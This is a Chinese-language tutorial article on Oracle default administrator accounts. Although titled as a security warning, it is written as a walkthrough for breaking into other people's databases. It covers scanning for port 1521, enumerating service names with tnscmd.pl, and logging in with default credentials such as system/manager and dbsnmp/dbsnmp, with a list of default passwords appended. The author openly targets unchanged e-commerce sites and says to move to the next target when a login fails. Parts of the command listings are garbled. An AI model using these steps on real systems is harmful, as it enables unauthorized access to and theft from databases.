程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Oracle數據庫 >> Oracle數據庫基礎 >> Oracle默認管理員帶來的數據庫安全隱患

Oracle默認管理員帶來的數據庫安全隱患

編輯:Oracle數據庫基礎

Oracle默認管理員密碼是固定的,這是為了安裝和調試的方便。Oracle數據庫中的兩個具有DBA權限的用戶Sys和System。筆者發現很多國內網站的Oracle數據庫沒有更改這兩個用戶的密碼,其中也包括很多大型的電子商務網站,我們就可以利用這個缺省密碼去找我們感興趣的東西。

進行測試前我們先來了解一些相關的知識,我們連接一個Oracle數據庫的時候,需要知道它的service_name或者是Sid值,就象mssql一樣,需要知道數據庫名。那如何去知道呢,猜?呵呵,顯然是不行的。這裡我們先講講oracle的TNSlistener,它位於數據庫ClIEnt和數據庫Server之間,默認監聽1521端口,這個監聽端口是可以更改的。但是如果你用一個tcp的session去連接1521端口的話,oracle將不會返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這裡我們就需要用tnscmd.pl這個perl程序了,它可以查詢遠程 Oracle數據庫是否開啟(也就是ping了),查詢版本,以及查詢它的服務名,服務狀態和數據庫服務名,而且正確率很高。

理論方面的講完了,如果還有什麼不懂的可以去查找相關資料。現在開始測試吧,需要的工具有:ActivePerl,Oracle客戶端,Superscan或者是其它掃描端口的軟件,Tnscmd.pl.我們先用Superscan掃描開放了端口1521的主機,假設其IP是xx.xx.110.110,這樣目標已經有了。然後我們要做的就是用Tnscmd.pl來查詢遠程數據庫的服務名了,Tnscmd.pl的用法如下:

  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl   
  2. usage: tnscmd.pl [command] -h hostname   
  3. where "command" is something like ping, version, status,etc.   
  4. (default is ping)   
  5. [-p port] - alternate TCP port to use (default is 1521)   
  6. [--logfile logfile] - write raw packets to specifIEdlogfile   
  7. [--indent] - indent & outdent on parens   
  8. [--rawcmd command] - build your own CONNECT_DATA string   
  9. [--cmdsize bytes] - fake TNS command size (revealspacketleakage)   
  10.  

我們下面用的只有簡單的幾個命令,其他的命令也很好用,一起去發掘吧。

然後我們就這樣來:

  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent   
  2. sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521   
  3. writing 91 bytes   
  4. reading   
  5. ._.......6.........?. ..........   
  6. DETION=   
  7. TMP=   
  8. VSNNUM=135286784   
  9. ERR=0   
  10. SERVICES_EXIST=1   
  11. .Q........   
  12. SERVICE=   
  13. SERVICE_NAME=ORCL   
  14. INSTANCE=   
  15. INSTANCE_NAME=ORCL   
  16. NUM=1   
  17. INSTANCE_CLASS=Oracle   
  18. HANDLER=   
  19. HANDLER_DISPLAY=DEDICATED SERVER   
  20. STA=ready   
  21. HANDLER_INFO=LOCAL SERVER   
  22. HANDLER_MAXLOAD=0   
  23. HANDLER_LOAD=0   
  24. ESTABLISHED=447278   
  25. REFUSED=0   
  26. HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227   
  27. HANDLER_NAME=DEDICATED   
  28. ADDRESS=   
  29. PROTOCOL=beq   
  30. PROGRAM=/home/oracle/bin/Oracle   
  31. ENVS="ORACLE_HOME=/home/oracle,Oracle_SID=ORCL"   
  32. ARGV0=OracleORCL   
  33. ARGS="   
  34. LOCAL=NO   
  35. "   
  36. .........@   
  37.  

從上面得到的信息我們可以看出數據庫的服務名為ORCL,然後我們就可以通過sqlplus工具來遠程連上它了,用戶名和密碼我們用默認的 system/manager或者是sys/manager(Oracle默認管理員),其他的如mdsys/mdsys,ctxsys/ctxsys等,這個默認用戶和密碼是隨版本的不同而改變的。如下:

  1. C:\Oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog   
  2. SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002   
  3. (c) Copycenter 2001 Oracle Corporation. All centersreserved.   
  4. SQL@@@@dayu@@@@connect system/manager@   
  5. (detion=(address_list=(address=(protocol=tcp)   
  6. (host=xx.xx.110.110)(port=1521)))   
  7. (connect_data=(SERVICE_NAME=ORCL)));   
  8.  

如果密碼正確,那麼就會提示connected,如果不行,再換別的默認用戶名和密碼。經過筆者的嘗試一般用dbsnmp/dbsnmp都能進去。當然如果對方已經把默認密碼改了,那我們只能換別的目標了。但是我發現很多都是不改的,這個就是安全意識的問題了。

附錄 Oracle默認管理員密碼

1.
用戶名:sys
密碼:change_on_install

2.
用戶名:system
密碼:manager

3.
用戶名:scott
密碼:tiger

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved